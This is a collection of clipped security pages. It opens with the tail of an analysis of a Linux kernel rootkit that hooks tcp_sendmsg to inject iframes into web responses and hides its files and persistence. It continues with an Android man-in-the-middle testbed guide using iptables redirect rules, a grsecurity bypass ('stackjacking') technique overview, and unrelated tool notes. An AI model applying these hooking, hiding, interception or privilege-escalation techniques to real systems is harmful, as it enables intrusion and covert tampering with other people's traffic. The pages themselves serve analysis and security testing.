`search_method_export_var `then is a simple mapping of `1` to
`search_method_exec_command` or `2` to `search_method_find_in_file`. Any other
method input will fail. The attentive reader will notice that therefore the
rootkit will always attempt to resolve symbols using
`search_method_exec_command`, because method `0` is not understood by
`search_method_export_var` and `2` is never supplied as input.  
  
`search_method_exec_command` uses the pseudo-file `/proc/kallsyms` to retrieve
a list of all symbols. Instead of accessing these symbols directly, it creates
a usermode helper process with the command line `"/bin/bash", "-c", "cat
/proc/kallsyms > /.kallsyms_tmp" `to dump the symbol list into a temporary
file in the root directory. It then uses a function shared with
`search_method_find_in_file` to parse this text representation of addresses
and symbols for the desired symbol. Due to the layout of the call graph, this
will happen for every symbol to be resolved.<img src='img/Temp2_1685.png' />  
---  
Symbol Resolution Method Identifier Confusion  
The alternative \(but effectively dead\) function `search_method_find_in_file`
is, unfortunately, as ugly. Despite the fact that the System.map file is a
regular file that could be read without executing a usermode helper process,
the author found an ingenious way to use one anyway.  
  
Since multiple kernels might be installed on the same system, the `System.map`
file\(s\) \(generated at kernel build time\) include the kernel version as a
suffix. Instead of using a kernel API to determine the currently running
kernel version, the rootkit starts another usermode helper process executing
`"/bin/bash", "-c", "uname -r > /.kernel_version_tmp"`. `uname` is a userland
helper program that displays descriptive kernel and system information.  
  
So instead of using the kernel version this module is built for at build time
\(it's hardcoded in other places, as we'll see later\), or at least just
calling the same system call that `uname` uses to obtain the kernel version,
they start a userland program and redirect its output into a temporary file.  
  
The kernel version obtained in this way is then appended to the `System.map`
filename so that the correct file can be opened. Recall that this code path is
never taken due to a mistake at another place, though.  
  
When starting up, the rootkit first iterates over a 13-element array of fixed-
length, 0-padded symbol names and resolves them using the previously described
functions. The name of the symbol and its address are then inserted into a
linked list. Once a symbol's address needs to be used, the code iterates over
this linked list, searching for the right symbol and returning its address.

###  Berserk Inline Code Hooking

To hook private functions that are called without indirection \(e.g., through
a function pointer\), the rootkit employs inline code hooking. In order to
hook a function, the rootkit simply overwrites the start of the function with
an `e9` byte _._ This is the opcode for a `jmp rel32` instruction, which, as
its only operand, has _4 bytes_ relative offset to jump to.  
  
The rootkit, however, calculates an _8-byte_ or 64-bit offset in a stack
buffer and then copies 19 bytes \(8 bytes offset, 11 bytes unitialized\)
behind the e9 opcode into the target function. By pure chance the jump still
works, because amd64 is a little endian architecture, so the high extra 4
bytes offset are simply ignored.  
  
To facilitate proper unhooking at unload time, the rootkit saves the original
5 bytes of function start \(note that this would be the correct `jmp rel32`
instruction length\) into a linked list. However, since in total 19 bytes have
been overwritten, unloading can't work properly:

[code]

    .text:000000000000A32E       xor     eax, eax
    .text:000000000000A330       mov     ecx, 0Ch
    .text:000000000000A335       mov     rdi, rbx
    .text:000000000000A338       rep stosd
    .text:000000000000A33A       mov     rsi, rbp
    .text:000000000000A33D       lea     rdi, [rbx+8]
    .text:000000000000A341       lea     rdx, [rbx+20h]
    .text:000000000000A345       mov     cl, 5
    .text:000000000000A347       rep movsd
    .text:000000000000A349       mov     [rbx], rbp
    .text:000000000000A34C       mov     esi, 14h
    .text:000000000000A351       mov     rdi, rbp
    .text:000000000000A354       mov     rax, cs:splice_func_list
    .text:000000000000A35B       mov     [rax+8], rdx
    .text:000000000000A35F       mov     [rbx+20h], rax
    .text:000000000000A363       mov     qword ptr [rbx+28h], offset splice_func_list
    .text:000000000000A36B       mov     cs:splice_func_list, rdx
    .text:000000000000A372       call    set_addr_rw_range
    .text:000000000000A377       lea     rax, [rbp+1]
    .text:000000000000A37B       mov     byte ptr [rbp+0], 0E9h
    .text:000000000000A37F       lea     rsi, [rsp+38h+target_offset]
    .text:000000000000A384       mov     ecx, 19
    .text:000000000000A389       mov     rdi, rax
    .text:000000000000A38C       rep movsb
    .text:000000000000A38E       mov     rdi, rax
    
[/code]

  
To support read-only mapped code, the rootkit contains page-table manipulation
code. Since the rootkit holds the global kernel lock while installing an
inline hook, it could simply have abused the write-protect-enable-bit in cr0
for the sake of simplicity, though.  
  
Since the rootkit trashes the hooked function beyond repair and is not
considering instruction boundaries, it can never call the original function
again \(a feature that most inline hooking engines normally posses\). Instead,
the hooked functions have all been duplicated \(one function even twice\) in
the sourcecode of the rootkit.

###  File and Would-be Process Hiding

Unlike many other rootkits, this rootkit has a rather involved logic for
hiding files. Most public Linux rootkits define a static secret and hide all
files and directories, where this secret is part of the full file or directory
name. This rootkit maintains a linked list of file or directory names to hide,
and it hides them only if the containing directory is called `"/"` or
`"sound"` \(the parent directory of temporary files and the module file,
respectively\).  
  
The actual hiding is done by inline hooking the vfs\_readdir function that's
called for enumerating directory contents. The replacement of that function
checks if the enumerated directory's name is either `"/"` or `"sound"` as
explained above.  
  
If that's the case, the function provides an alternative function pointer to
the normally used `filldir` or `filldir64` functions. This alternative
implementation checks the linked list of file names to hide and will remove
the entry if it matches.  
  
Interestingly, it will also check a linked list of process names to hide, and
it will hide the entry if it matches, too. That, however, doesn't make sense,
since the actual directory name to hide would be the _process id_. Also, the
parent directory for that would be `"/proc"`, which isn't one of the parent
directories filtered. Therefore, the process hiding doesn't work at all:

<img src='img/Temp2_1687.png' />  
---  
Improperly Hidden Kernel Threads  
The list of hidden files is:

  * sysctl.conf
  * module\_init.ko \(the actual rootkit filename\)
  * zzzzzz\_write\_command\_in\_file
  * zzzzzz\_command\_http\_inject\_for\_module\_init

The real module's name gets added to the linked list of file names to hide by
the module hiding code.  
  
Interestingly, the rootkit also contains a list of parent path names to hide
files within. However, this list isn't used by the code:

  * /usr/local/hide/first\_hide\_file
  * /ah34df94987sdfgDR6JH51J9a9rh191jq97811

Since only directory listing entries are being hidden but access to those
files is not intercepted, it's still possible to access the files when an
absolute path is specified.

###  Command and Control Client

As part of module initialization, the rootkit starts a thread that connects to
a single C2 server. The IP address in question is part of a range registered
to Hetzner, a big German root server and co-location provider.

The rootkit uses the public ksocket library  to establish TCP connections
directly from the Linux kernel. After the connection has been successfully
initiated, the rootkit speaks a simple custom protocol with the server. This
very simple protocol consists of a 1224-byte blob sent by the rootkit to the
server as an authentication secret. The blob is generated from _" encrypting"_
1224 null bytes with a 128-byte static password, the C2 address it's talking
to, and, interestingly, an IP address registered to Zattoo Networks in Zurich,
Switzerland, that is not otherwise used throughout the code.

C2 Connection Attempt  
---  
The server is then expected to respond with the information about whether an
iframe or a JavaScript snippet should be injected, together with the code to
be injected. The server's response must contain a similarily generated
authentication secret for the response to be accepted. If this check passes,
the rootkit then copies the injection information into a global variable.  
  
This protocol is obviously vulnerable to simply generating the secret blob
once using dynamic analysis and replaying it, and therefore it merely serves
for a little obfuscation. We didn't invest further time investigating this
specific _" encryption"_ algorithm.

###  TCP Connection Hijacking

In order to actually inject the iframes \(or JavaScript code references\) into
the HTTP traffic, the rootkit inline hooks the `tcp_sendmsg` function. This
function receives one or multiple buffers to be sent out to the target and
appends them to a connections outgoing buffer.  
  
The TCP code will then later retrieve data from that buffer and encapsulate it
in a TCP packet for transmission. The replacement function is largely a
reproduction of the original function included in the kernel sources due to
the inline hooking insufficiencies explained above.  
  
A single call to the function `formation_new_tcp_msg` was added near the head
of the original function; if this function returns one, the remainder of the
original function is skipped and internally a replacement message is sent
instead. This function always considers only the first send buffer passed, and
we'll implicitly exclude all further send buffers passed to a potential
`sendmsg` call in the following analysis.  
  
The `formation_new_tcp_msg` function invokes a decision function that contains
4 tests, determining whether injection on the message should be attempted at
all:

  1. An integer at `+0x2f0` into the current configuration is incremented. Only if its value modulo the integer at `+0x2e8` in the current configuration is equal to zero, this test passes. This ensures that only on every _n_ -th send buffer an injection is attempted.
  2. Ensure that the size of all the send buffers to be sent is below or equal to 19879 bytes.
  3. Verify that originating port \(server port for server connections\) is :80.
  4. Ensure that the destination of this send is not 127.0.0.1.
  5. Make sure that none of the following three strings appears anywhere in the send buffer:

  * "403 Forbidden"
  * "304 Not Modified"
  * " was not found on this server."

  * Make sure the destination of this send is not in a list of 1708 blacklisted IP addresses, supposedly belonging to search engines per the symbol name `search_engines_ip_array`.

There are several shortcomings in the design of these tests that ultimately
led to the discovery of this rootkit as documented in the Full Disclosure post
. Since the check to only attempt an inject once every n-th send buffer is not
performed per every m-th connection and before all other tests, it will
trigger on more valid requests than one might expect when defining the
modulus.  
  
Also, doing a negative check on a few selected error messages instead of
checking for a positive "200" HTTP status led to the discovery, when an inject
in a "400" HTTP error response was found.  
  
The rootkit then tries to parse a HTTP header being sent out by looking for
the static header strings "Content-Type", "Content-Encoding", "Transfer-
Encoding" and "Server". It matches each of the values of these headers against
a list of known values, e.g., for Content-Type:

  * text/html
  * text/css
  * application/x-javascript

The Content-Type of the response and the attacker specified Content-Type of
the inject have to match for injection to continue. The code then searches for
an attacker-specified substring in the message and inserts the inject after
it.  
  
What is notable is the support for both `chunked` Transfer-Encoding and `gzip`
Content-Encoding. The `chunked` encoding handling is limited to handling the
first chunk sent because the HTTP headers parsed need to present in the same
send buffer. However, it will adjust the length of the changed chunk
correctly.  
  
When encountering a `gzip` Content-Encoding, the rootkit will use the zlib
kernel module to decompress the response, potentially patch it with the
inject, and then recompress it. While this is a technically clever way to make
sure your inject ends up in even compressed responses, it will potentially
severely degrade the performance of your server.

###  Reboot Persistence

After running most of the other initialization tasks, the rootkit creates a
kernel thread that continously tries to modify `/etc/rc.local` to load the
module at start-up. The code first tries to open the file and read it it all
into memory. Then it searches for the loading command in the existing file.

If it's not found, it appends the loading command "insmod
/lib/modules/2.6.32-5-amd64/kernel/sound/module\_init.ko" by concatenating the
"insmode" command with the directory path and filename. However, all those 3
parts are hardcoded \(remember that the kernel version now hardcoded was
determined dynamically for symbol resolution earlier?\).  
  
If opening the file fails, the thread will wait for 5 seconds. After
successfully appending the new command, the thread will wait for 3 minutes
before checking for the command and potentially re-adding it again.  
  
Additionally, the rootkit installs an inline hook for the vfs\_read function.
If the read buffer \(no matter which file it is being read from\) contains the
fully concatenated load command, the load command is removed from the read
buffer by copying the remainder of the buffer over it and adjusting the read
size accordingly. Thereby, the load command is hidden from system
administrators if the rootkit is loaded.<img src='img/Temp2_1686.png' />  
---  
Successful Persistence Command Hiding  
The screenshot above showcases a problem already with this technique of
persistence: since the command is appended to the end of rc.local, there might
actually be shell commands that result in the command not being executed as
intended. On a default Debian squeeze install, `/etc/rc.local` ends in an
`exit 0` command, so that the rootkit is effectively never loaded.

###  Module Hiding

Hiding itself is achieved by simple direct kernel object manipulation. The
rootkit iterates about the kernel linked list `modules` and removes itself
from the list using `list_del`. In consequence, the module will never be
unloaded and there will be no need to remove the inline hooks installed
earlier. In fact, the `remove_splice_func_in_memory` function is unreferenced
dead code.

###  Conclusion

Considering that this rootkit was used to non-selectively inject iframes into
nginx webserver responses, it seems likely that this rootkit is part of a
generic cyber crime operation and not a targeted attack. However, a Waterhole
attack, where a site mostly visited from a certain target audience is
infected, would also be plausible. Since no identifying strings yielded
results in an Internet search \(except for the ksocket library\), it appears
that this is not a modification of a publicly available rootkit. Rather, it
seems that this is contract work of an intermediate programmer with no
extensive kernel experience, later customized beyond repair by the buyer.

Although the code quality would be unsatisfying for a serious targeted attack,
it is interesting to see the cyber-crime-oriented developers, who have
partially shown great skill at developing Windows rootkits, move into the
Linux rootkit direction. The lack of any obfuscation and proper HTTP response
parsing, which ultimately also led to discovery of this rootkit, is a further
indicator that this is not part of a sophisticated, targeted attack.

Based on the Tools, Techniques, and Procedures employed and some background
information we cannot publicly disclose, a Russia-based attacker is likely. It
remains an open question regarding how the attackers have gained the root
privileges to install the rootkit. However, considering the code quality, a
custom privilege escalation exploit seems very unlikely.

# Setting up a dynamic Android testbed Part II: Inspecting and modifying traffic | NVISO Blog
**Created:**| _6/27/2014 10:02:53 AM_  
---|---  
**Updated:**| _6/27/2014 10:02:53 AM_  
**Author:**| __  
**Tags:**| _android_  
  

# Setting up a dynamic Android testbed Part II: Inspecting and modifying
traffic

##  Introduction

In this blogpost series, we attempt to setup a dynamic Android testbed which
exhibits the following features:

  1. Inspect and modify all traffic generated by the mobile application\(s\) under assessment 
  2. Inspect and modify all local storage generated by the mobile application\(s\) under assessment 

In Part I we discussed the choice between an emulated or physical environment
and compared the capabilities of various popular emulators. However, more and
more mobile applications which we review are performing checks that ensure
that the environment on which it runs is legitimate, which usually rules out
emulators.  
  
To start from a clean environment we always deploy a Stock ROM to our physical
devices when starting a new engagement. The exact download & installation
practicalities depend on the brand of your physical device. For example,
Google simply publishes their Nexus Stock ROMs that can be installed via
_fastboot mode and a custom script_ , while Samsung Stock ROMs can be
downloaded from dedicated websites such as SamMobile and Samsung-Updates and
installed via Samsung tools such as Odin or Kies.  
  
In this blogpost, we describe how to perform traffic inspection with physical
Android devices. This is usually achieved by building a test environment where
the penetration tester can become Man-in-the-Middle \(MiTM\), optionally
bypassing any SSL Pinning protection measures. This capability can then be
leveraged to verify the deployed SSL Certificate Validation of the application
under assessment, if any.

###  Man-in-the-Middle

There are two main options to become MiTM on Android, which are enumerated in
the two subsections below.

####  HTTP Proxy Settings

When opting for the HTTP Proxy option to perform effective MiTM for HTTP\(S\)
traffic, the Android mobile device must be able to communicate with the
intercepting device \(usually a laptop\), either via a completely external
network path or by being connected to the same local wireless network. A
dedicated HTTP interception program such as Burp Proxy should then be bound on
an interface \(ip address\) and port reachable by the mobile device, and this
device itself should be configured to proxy all connections through this
interceptor. Additionally, when intercepting SSL traffic and the mobile
application verifies whether the root certificate issued by the server is
trusted, the Burp Suite root certificate should be installed on the mobile
device. Configuring this environment has been described many times in other
blogposts such as this one from the infosec institute. It describes how to
setup burp proxy in combination with the Android SDK Emulator, but the same
guidelines apply for physical Android devices.

Configuring Android to proxy all HTTP\(S\) connections through an external
proxy depends on the exact Android version, brand and model. A Mobile Data
Network \(GPRS, 3G or 4G\) HTTP Proxy can be set on all Android devices by
entering proxy details in the Access Point Name settings, but of course this
can become costly quickly. Wireless network proxy settings are supported from
Android Gingerbread \(2.3\) onwards via the Wifi options menu. The process of
configuring the Wifi proxy differs for Gingerbread and its successors. If
proxy configuration is not supported by your specific Android mobile device,
there are quite a few applications that provide system-wide proxy support, of
which the most infamous is ProxyDroid. Note that all existing third-party
proxy applications require root access.  
Opting for the HTTP Proxy option is not error-proof. The Android SDK API
HTTP\(S\) methods by default utilize the configured system-wide proxy to
perform HTTP\(S\) requests, but applications can explicitly bypass proxy
settings - for example via a custom ProxySelector class, which we've seen on
more than one occasion. Additionally, most mobile applications use HTTP\(S\)
to communicate with the server-side component, but we've also seen multiple
applications that utilize an interesting proprietary protocol next to HTTPS,
which would easily be missed when only testing with the HTTP Proxy option
\(e.g. RTMP\). Therefore, we usually opt to setup an ad-hoc wifi network which
is bridged to the internet, with our transparent proxy in between.

####  Ad-hoc Wireless Network

In order to capture all traffic sent by the mobile application\(s\) under
assessment, we must ensure that there is no way for the application to
circumvent our intercepting system. Ideally, it should be impossible for the
mobile device to know it is being intercepted up the chain. This is possible
by creating an ad-hoc wifi network that is bridged to the internet with our
sniffing and intercepting proxy software in between. The mobile device will
always utilize the available network connection, so there is no way for the
application to bypass the proxy.  
  
In our setup, we create an ad-hoc wireless network from a Kali linux system
which has internet access and a free wireless adapter. Many system
configurations match this environment - for example a wired Kali laptop, a
Kali laptop which receives internet via USB tethering from a mobile phone, or
a Kali linux VM which receives internet access from the host and has a USB
wireless card attached \(e.g. Alpha card\). This blogpost describes
configuring the last situation, but instructions can easily be adapted to
other setups - it's merely a matter of switching interface names. We have a
Kali linux VM \(Vmware Fusion\) with internet access from the host \(eth0\)
and an USB wireless alpha card \(wlan0\):

<img src='img/Temp2_7447.png' />

First, we put the wireless card in monitoring mode and create an open wireless
network on a new interface \(at0\) with airmon-ng and airbase-ng:

<img src='img/Temp2_7449.png' />

At this point, the wireless access point 'NVISO-OPEN' should be visible for
all devices in the near vicinity, but should not have internet access just
yet. For that purpose, we build a bridge interface called 'mitm' between eth0
\(internet\) and at0 \(wireless access point\) using brctl \(sudo apt-get
install bridge-utils\):

<img src='img/Temp2_7444.png' width='320' height='133' />

The open wireless network created earlier should now have access to the
internet through the bridge interface just created. One can start inspecting
all traffic generated by the mobile device by opening up wireshark and
capturing traffic on at0:

<img src='img/Temp2_7443.png' />

By leveraging the capabilities of Wireshark, one can learn a lot about the
behavior of the mobile application, such as the servers it is talking to
\(Statistics -> Conversations\) and the protocols it uses to achieve this
\(Statistics -> Protocol Hierarchy\), amongst many other properties. It is
important to note that not a single byte successfully sent or received by the
mobile application is missed when using this technique\!  
  
However, traffic inspection is good, but modification is even better. To
modify packets of a certain protocol, we will forward all traffic of these
protocols to a program that understands the protocol itself. In this example,
we will forward all traffic on port 80 \(HTTP\) and 443 \(HTTPS\) to our
intercepting Burp Proxy running on port 8080 by creating the following iptable
rules \(Note that analysis of the Wireshark capture can help to discover
additional ports to which HTTP\(S\) requests are made\):  
  
\# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT
--to-port 8080  
\# iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT
--to-port 8080

<img src='img/Temp2_7450.png' width='320' height='92' />

Now HTTP\(S\) traffic will be redirected to our Burp Proxy. However, since the
application is under the assumption it is talking directly to a web server as
opposed to a HTTP Proxy in the previous subsection, Burp Proxy must be set to
listen on the Access Point interface in 'invisible' \(transparent\) mode. This
instructs Burp to actively discover to which web servers the incoming requests
were actually destined \(see Proxy: Invisible Proxying page for a dedicated
explanation\), which is necessary for Burp to forward the traffic to the
correct server after inspection and modification:

<img src='img/Temp2_7448.png' width='320' height='109' />

Finally, after connecting to the 'NVISO-OPEN' wireless network and browsing to
http://nviso.be, we are able to intercept the request in Burp:

<img src='img/Temp2_7446.png' />

###  SSL Certificate Validation

After becoming Man-in-the-Middle, we can verify how the mobile
application\(s\) under assessment validates the server-side they are expecting
to communicating to. Generally, there are three possibilities:

####  **No validation at all**

The mobile application under assessment uses HTTP to communicate with the
server-side, or uses HTTPS but happily accepts any SSL certificate that it is
served without verifying its authenticity whatsoever. This can be verified
empirically by simply not installing the Burp Proxy SSL CA certificate on the
mobile device while attempting to utilize the mobile application\(s\). When
the application keeps on functioning correctly while the conversations float
through our proxy, it is vulnerable. This is a red flag, since all
communication between a mobile device and the server can be trivially
intercepted and modified by an attacker which is performing a MiTM-attack. The
risk of a successful MiTM-attack is high for mobile devices, since by default
most devices are configured to automatically reconnect to known Access Point
ESSID's, which can easily be spoofed by any attacker that is in the vicinity
of a victim \(the so-called Evil Twin attack\).

####  **Validation of Root Certificate Authority \(CA\)**

The mobile application under assessment only uses HTTPS, and will only
communicate with servers whose SSL certificate is signed by a trusted root CA
of the device. This can be verified empirically when normal MiTM fails by
installing the Burp Certificate as a root CA on the Android device. When the
application starts behaving correctly afterwards, it is confirmed. The risk of
a successful Man-in-the-Middle attack is significantly reduced, since an
attacker is required to either install a trusted root CA certificate on the
mobile device, or obtain the private key of one of the preinstalled root
Certificate Authorities on the device \(which is hard but not impossible\).
However, in this case a pentester can just install the Burp Proxy CA
certificate on the mobile device in order to inspect traffic and attack client
and server-side individually. If the application is still not functioning as
expected after installing the Burp Certificate as a root CA on the mobile
device, it is performing even more stringent checks: SSL Pinning.

####  **SSL Pinning**

When the mobile application explicitly checks the SSL certificate served by
the server for a hardcoded value, it is performing SSL Pinning. This can be
verified empirically by attempting to utilize the application whilst the Burp
root CA is installed on the mobile device. If the application keeps on
malfunctioning, it is most likely performing SSL Pinning \(or broken by
design\). To be absolutely sure, you can temporarily disable interception of
SSL connections by inserting a wildcard SSL Passthrough entry in Burp Proxy
when using an HTTP Proxy configuration option:

<img src='img/Temp2_7445.png' width='320' height='121' />

The same approach is infeasible when using an Ad-hoc Wireless Network to
perform MiTM, since Burp's SSL Passthrough functionality is not compatible
with the 'invisible' proxy option. This is because during redirection by
iptables the original endpoint IP address gets lost, and Burp currently has no
method to retrieve this. When the mobile application knows it is talking to an
intercepting HTTP Proxy, it will supply this as a first HTTP Connect request
before initiating the SSL handshake, which remediates this problem on the
proxy protocol level. More information on this issue can be found on the
following MitmProxy project page, where they describe a solution which
consists of platform-specific modules that interacts with the redirection
binaries to retrieve the original IP address of the redirected request.
Hopefully, the Burp Suite authors will soon implement this feature, too. For
now, one can simply flush the iptables rules \(sudo iptables -t nat -F\) and
test again.

We've seen cases where applications only partly use SSL Pinning, by only
verifying the server-side certificate of an incomplete list of endpoint
servers, or only verifying a server's certificate at certain steps in the
mobile application, but not all. This can again be tested empirically by
playing with breaking or restoring the SSL connections initiated by the mobile
application for certain endpoint domains.

There are many ways to bypass the SSL Pinning protection for a pentester and
give him/her the ability to inspect and modify traffic again: A first static
method consists of decompiling the APK binary and removing the SSL Pinning
check. A second one will dynamically replace the classes typically responsible
for SSL Pinning checks on all running applications, such as the iSECPARTNERS
extension to the Cydia Substrate Android hooking framework application. The
latter is more generally applicable and the ones we prefer using, but it also
requires root permissions on the mobile device. This will be the subject of
our next blogpost.

###  Conclusion

To become MiTM between a mobile application and its server endpoints, there
are two options. The first option simply leverages the built-in Android HTTP
Proxy configuration, but requires the application to accept this setting and
only perform HTTP\(S\) communication. The second option involves creating an
Ad-Hoc wireless network for the mobile device, and does not exhibit any
assumptions about the application. However, the former is easier to use in
combination with Burp's SSL Passthrough option to empirically verify the SSL
Certificate Validation implementation of the application. To bypass SSL
Pinning in a generic way, root permissions are required.

# Precompiled PySide binaries for IDA Pro | Hex Blog
**Created:**| _5/25/2011 3:35:26 PM_  
---|---  
**Updated:**| _5/25/2011 3:35:33 PM_  
**Author:**| __  
**Tags:**| _python iDA programming_  
  

# Precompiled PySide binaries for IDA Pro

Posted on May 18, 2011 by Elias Bachaalany

In a previous blog post we mentioned that it is possible to use IDA Pro with
PySide \(Python + Qt\) after applying some minor code patches to PySide.

For convenience purposes, we precompiled the PySide libraries that work with
IDA Pro 6.0+ and Python 2.6. Below is a brief explanation on how to install
and use those binaries.  

### Installing on Windows

Please download the package and unpack it to _Path\_to\_Python26_.

### Installing on Linux or Mac OS

Please download the appropriate package \(Linux or Mac OS\) and unpack it:

> sudo tar xvfz _os\_package_ \_pyside\_python26\_package.tgz -C /
### Building PySide from the sources

In order to build PySide for IDA Pro you need to use the modified PySide
source files. Please note that those modifications only apply to the PySide
version that was released on 03/28/2011. To use newer versions of PySide merge
those files with the new files.

### Testing the installation

To test if PySide is installed properly, you can try running the following
script which creates a tree widget and displays all imports and exports from
the opened database:

<img src='img/Temp2_6364.gif' width='572' height='268' alt='pyside_bins' />

### Mixing C++ and Python

With PySide and IDAPython it is possible to write powerful scripts with a rich
UI. Now the question is “how to write a UI in Python \(with PySide\) and still
be able to call C/C++ functions?”

To achieve this, you need to expose your C/C++ functions to Python. It can be
done with Ctypes, SIP, SWIG, Shiboken, other Python binding generators or with
simple manual wrapping as demonstrated here.

On the Lynxline website you can find two interesting blog posts demonstrating
how to mix C++ and Python using SIP or Shiboken.

Happy coding\! <img src='img/Temp2_6363.gif' alt=':)' />

# Pop-Gun Plot's Tumblelog

**Created:**| _6/18/2009 10:47:59 PM_  
---|---  
**Updated:**| _6/18/2009 10:48:08 PM_  
**Author:**| __  
**Tags:**| _bookmark web_  
  

Generate gmail addresses \(based off of your current address\)

This popped up in the CISSP forums this morning and is pretty neat — you can
add a +tag after any gmail address and it will still be delievered. You then
can create a filter for that new address.

If your address is **admin@gmail.com** — you could use
**admin+spam@gmail.com** as an address you are expecting junk to be sent too.
You would then create a filter for **To:admin+spam@gmail.com —** and apply a
label to it \(or delete, archive, forward, whatever\).

VIA http://www.digitalalchemy.tv/2006/09/use-gmail-generate-unlimited-e-
mail.html

# MITRE | Cybersecurity | Cyber Depot
**Created:**| _8/8/2013 3:25:32 PM_  
---|---  
**Updated:**| _8/8/2013 3:25:32 PM_  
**Author:**| __  
**Tags:**| _Firmware_  
  

# **M** ITRE | Cybersecurity | Cyber Depot****
  

<img src='img/Temp2_5035.jpg' alt='Events' />

<img src='img/Temp2_5036.jpg' width='114' height='78' alt='John Butterworth'
/>

CND Tools:

_Copernicus_ : Question Your Assumptions about BIOS Security

BY JOHN BUTERWORTH - POSTED ON JULY 30TH, 2013

During the course of MITRE's Trusted Firmware Measurement research project, we
determined the exact methods by which computers' firmware \(BIOS\) protects
itself from modification**.** Subsequent experiments revealed that many older
BIOSes still in use today, do not adequately protect themselves**.** What's at
stake? Writable BIOS can lead to the installation of a backdoor that avoids
detection because there are very few products that can check the integrity of
the BIOS; worse, by writing junk to a BIOS, a system can be bricked \(rendered
un-bootable\)**.**

**Research Leads to Development of CND Tool**

As a result of this research, the MITRE team, consisting of Sam Cornwell,
Corey Kallenberg, Xeno Kovah, and myself, contributed to the creation of a
tool we have dubbed _Copernicus_**.** _Copernicus_ dumps the BIOS so
inspection \(such as comparing against a clean copy\) is possible, and also
checks the status of the configuration to determine if the BIOS can be
modified**.**

How does it work**?** The tool is implemented as a kernel driver that creates
a file containing the BIOS dump and a file containing the raw configuration
information**.** When deployed in enterprise environments, scripts can send
the raw BIOS dump and configuration information to a server for post-
processing**.** This processing can indicate whether a given BIOS differs from
an expected baseline, and it can also indicate whether the BIOS or the
computer's System Management RAM \(where some code loaded by BIOS continues
running after boot\)**.**

**Call for Research Partners**

MITRE is currently looking for partners interested in exploring the extent of
BIOS writability in their deployed systems. In particular, we are looking for
organizations with tens of thousands of Windows 7 systems.

If you are interested, MITRE would support a deployment of _Copernicus_ in
your environment provided that there is agreement that the aggregate
vulnerability data collected will be shared and combined with other similarly
collected data as part of a research paper on the prevalence of this
vulnerability in the wild**.** We are looking to report on the percent of
machines that were determined to be vulnerable, the number of machines that
could be fixed through BIOS updates, and other data findings**.**

**Technology Transfer Opportunities**

At this stage in our research, we offer for incorporation into GOTS or COTS
the _Copernicus_ code, which dumps BIOSes and a Python script that analyzes
the dumps for differences and inspects BIOS writability configuration**.**

If you'd like to try out _Copernicus_ now, you can download the standalone
binary, accompanying documentation, and terms of use **.**

To inquire about getting access to the source code, please contact Xeno Kovah,
using our employee directory **.**

**Way Forward**

Our intent is to develop _Copernicus_ to the point where it can suggest non-
vulnerable BIOS revisions to the organization so that vulnerable systems can
be updated when possible**.** Also, we intend to work with vendors in
developing patches if they currently do not offer one and to work with
sponsors to patch mission-critical systems.

**John Butterworth** can be contacted using our employee directory  
---  
****

# jon.oberheide.org - blog - stackjacking your way to grsec/pax bypass

**Created:**| _4/21/2011 10:13:06 AM_  
---|---  
**Updated:**| _4/21/2011 10:13:06 AM_  
**Author:**| __  
**Tags:**| _web Linux kernel opinion browser_  
  

# Stackjacking Your Way to grsec/PaX Bypass

This April at Hackito Ergo Sum in Paris and Immunity’s Infiltrate in Miami,
Dan Rosenberg and I presented on a technique to exploit grsecurity/PaX-
hardened Linux kernels. Read on for a brief overview of our presentation and a
link to the full slides and PoC code.

  
<img src='img/Temp2_10429.png' width='512' height='384' />  

## The Stackjacking Technique

In our slides, we presented a technique to exploit a grsecurity/PaX-hardened
Linux kernel \(eg. GRKERNSEC\_HIGH\) given the existence of two exploitation
primitives:

  * an arbitrary kernel write; and
  * a kernel stack memory disclosure

To be clear, this attack vector is completely unnecessary when exploiting a
vanilla Linux kernel, since an arbitrary write is more than sufficient to get
root, given the vast amount of useful targeting information Linux gives out
via /proc, etc. Likewise, the kernel stack memory disclosure is also
unnecessary on vanilla, since there are much easier ways of getting this
information. However, due to GRKERNSEC\_HIDESYM \(which aims to remove all
known sources of info leakage\), PAX\_KERNEXEC \(which makes global data
structures with known locations read-only\), and other mitigation features of
grsecurity/PaX, effective exploitation is orders of magnitude harder than a
vanilla kernel and took a few interesting twists.

Our technique can be broken down into three distinct stages:

  * **Stack self-discovery:** We observed that kernel stack memory disclosures can leak sensitive addresses to userspace. In particular, if we can leak a pointer TO the kernel stack that resides ON the kernel stack, we can calculate the base of our own process’ kernel stack: kstack\_base = leaked\_addr & ~\(THREAD\_SIZE-1\). We call this technique stack self-discovery.
  * **Stack groping:** If our end goal is to read the address of our process’ cred structure and use our write to modify it and escalate privileges, we need to turn our kleak+kwrite into an arbitrary read. We discovered two such techniques to do this: \(1\) the Rosengrope technique that modifies addr\_limit in thread\_info metadata stored at the base of the kstack to allow arbitrary reads from kernel space to userspace; and \(2\) the Obergrope technique that manipulates saved registers within a kernel stack frame that are later popped and used as the source address for copy\_to\_user\(\)/put\_user\(\) operations.
  * **Stack jacking:** After constructing our arbitrary read from a kleak+kwrite, we read the task\_struct address out of thread\_info at the base of the kstack and then read the cred struct address out of task\_struct. Armed with the address of our process’ credential structure and an arbitrary write, we modified our uids/gids/caps to escalate privileges.

For the full details, please see the presentation materials and PoC code:

  * Infiltrate 2011 \[PDF\]
  * Hackito Ergo Sum 2011 \[PDF\]
  * PoC Code \[GITHUB\]

  
<img src='img/Temp2_10428.png' width='513' height='386' />  

## The Response

If you haven’t yet read spender’s response to our presentation, I recommend
doing so. While I’ll refrain from commenting on the political aspects of his
post, I’ll happily comment on the technical aspects. The fixes that spender
and pipacs have released have mitigated the particular exploit vectors we used
to perform the stack groping stage of our attack against the grsec/PaX kernel:

  * The thread\_info struct has been moved out from the base of the kernel stack preventing the Rosengrope technique from being able to write KERNEL\_DS into the addr\_limit member.
  * The RANDKSTACK feature, now available on both i386 and amd64, frustrates the Obergrope technique as the randomization of the kernel stack pointer on each system call makes writing into a particular offset in the stack frame unreliable.

Props to spender and pipacs for cranking out those fixes as well as a number
of other enhancements. While the latest grsecurity patch effectively prevents
the current vectors we discovered and presented in our talks at HES and
Infiltrate, there are several loose ends I need to investigate to ensure the
fixes address other potential exploitation vectors.

More on that later…

# Graphite - Scalable Realtime Graphing - Graphite

**Created:**| _2/11/2014 6:37:44 PM_  
---|---  
**Updated:**| _2/11/2014 6:37:44 PM_  
**Author:**| __  
**Tags:**| _charts are not graphs\!\!_  
  

# New Release - 0.9.10 - 5/31/12

